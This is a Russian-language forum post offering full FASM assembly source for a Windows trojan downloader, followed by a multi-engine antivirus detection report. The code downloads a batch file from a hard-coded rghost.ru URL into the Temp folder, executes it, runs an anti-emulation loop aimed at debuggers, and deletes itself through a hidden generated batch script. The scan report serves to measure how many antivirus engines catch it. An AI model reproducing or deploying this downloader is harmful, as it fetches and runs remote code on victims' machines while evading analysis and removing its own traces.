[FASM] Downloader с функцией самоудаления

[IBM]

Накодил зачем-то Downloader с функцией самоудаления. Качает файл с ссылки в папку Temp, запускает и самоудаляется...

Код:

format pe gui
entry @enter
include 'win32ax.inc'
section ''code import writeable readable executable
library urlmon,'urlmon',shell32,'shell32',kernel32,'kernel32'
import urlmon,URLDownloadToFile,'URLDownloadToFileA'
import shell32,ShellExecute,'ShellExecuteA'
      import kernel32,ExitProcess,'ExitProcess',\
      GetTempPath,'GetTempPathA',\
      lstrcat,'lstrcatA',\
      CreateFile,'CreateFileA',\
      WriteFile,'WriteFile',\
      CloseHandle,'CloseHandle',\
      GetModuleFileName,'GetModuleFileNameA',\
      lstrcpy,'lstrcpyA',\
      Sleep,'Sleep',\
      GetWindowsDirectory,'GetWindowsDirectoryA'
@enter:
invoke GetTempPath, nTempLength, IpTempPath
lea ebx, [name]
invoke lstrcat, IpTempPath, ebx
lea ebx, [IpTempPath]
lea eax, [url]
invoke URLDownloadToFile,0,eax,ebx,0,0
@check_again:
mov ecx, 1
@antiemul:
inc ecx
push fuck
cmp ecx, 1000
jnz @antiemul
jmp @exit
@back:
lea ebx, [IpTempPath]
invoke ShellExecute,0,'open',ebx,0,0, SW_SHOW
invoke GetModuleFileName, 0, IpBuffer, nPathLength
invoke lstrcpy, ipTarget, str_one
invoke lstrcat, ipTarget, '"'
invoke lstrcat, ipTarget, IpBuffer
invoke lstrcat, ipTarget, '"'
invoke lstrcat, ipTarget, ' /Q'
invoke lstrcat, ipTarget, str_second
invoke GetTempPath, nTempLength, IpTempPath
invoke GetWindowsDirectory, IpWinPath, nWinLength
invoke lstrcat, IpTempPath, bat
invoke CreateFile,IpTempPath,GENERIC_WRITE,FILE_SHARE_READ,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0
invoke WriteFile, eax, ipTarget, 256, addr esp-4, 0
invoke CloseHandle, eax
invoke lstrcpy, ipTarget, command
invoke lstrcat, ipTarget, IpTempPath
push 100
invoke Sleep
lea ebx, [cmd]
lea edx, [ipTarget]
lea ecx, [IpWinPath]
invoke ShellExecute, 0, 'open', ebx, edx, ecx, SW_HIDE
push 0
invoke ExitProcess
@exit:
cmp [zero], 1
je @back
mov [zero], 1
call @check_again
push 0
invoke ExitProcess
url db 'http://rghost.ru/download/51385663/b2f1736551550d389df6dc2bb898bd688c19154d/new.bat',0
name db 'test.bat',0
cmd db 'cmd.exe',0
command db '/c start ',0
bat db 'uninstall.bat',0
str_one db '@Echo off',13, 10, 'ping -n 1 localhost',13, 10, 'del ',0
str_second db 13, 10, 'exit',0
fuck db 'I will fuck you hard, asshole with debugger',0
zero db 0
nTempLength dw ?
IpTempPath db MAX_PATH dup(0)
nPathLength dw ?
IpBuffer db MAX_PATH dup(0)
nWinLength dw ?
IpWinPath db MAX_PATH dup(0)
nPathTarget dw ?
ipTarget db MAX_PATH dup(0)

url db 'http://rghost.ru/download/51385663/b2f1736551550d389df6dc2bb898bd688c19154d/new.bat',0
name db 'test.bat',0

url - ссылка
name - имя файла с которым сохранять.


Детект:

Название файла: downloader.exe
Размер файла: 3072 байт
Дата сканирования: Sat, 04 Jan 14 12:29:02 -0500
MD5-хэш файла: f34c9aa1b273d6b089281c0af61a0b72

Результат: 21 из 36

Ad-Aware: Trojan-Downloader.Win32.Small!cobra (v)
AhnLab V3 Internet Security: OK
ArcaVir: OK
Avast: Win32:MiniMal Trj
AVG: vir.Downloader.Rozena
Avira: TR/Downloader.Gen Trojan!
Bitdefender/BullGuard: Generic.Malware.dld!!.2B20C88B
BullGuard Internet Security 2013: Generic.Malware.dld!!.2B20C88B
Comodo: OK
Dr.Web: DLOADER.Trojan
Emsisoft Anti-Malware (a-squared Anti-Malware): Generic.Malware.dld!!.2B20C88B (B)
eScan Internet Security Suite 14: Generic.Malware.dld!!.2B20C88B (DB)
Fortinet 5: OK
F-Prot: Malware detected
F-Secure 2014: Generic.Malware.dld!!.2B20C88B
G Data: Virus: Generic.Malware.dld!!.2B20C88B (Engine A)

IKARUS: OK
Immunet/ClamAV: Generic.Malware.dld!!.2B20C88B
K7 Ultimate: OK
Kaspersky Internet Security 2014: HEUR:Trojan-Downloader.Win32.Generic
McAfee Total Protection 2013: OK
Microsoft Security Essentials: OK
NANO: OK
NOD32: NewHeur_PE
Norman: OK
Norton Internet Security: Suspicious.DLoader
Outpost Security Suite Pro 8.0: Suspicious!SA (Sequence)
Quick Heal: Suspicious
Sophos: Mal/DownLdr-AC
SUPERAntiSpyware: OK
Total Defense Internet Security: OK
Trendmicro Titanium Internet Security: OK
Twister Antivirus 8: OK
VBA: Malware detected
VIPRE Internet Security 2013: Trojan-Downloader.Win32.Small!cobra (v)
Virit: OK

Scan report generated by Scanner.FuckAV.ru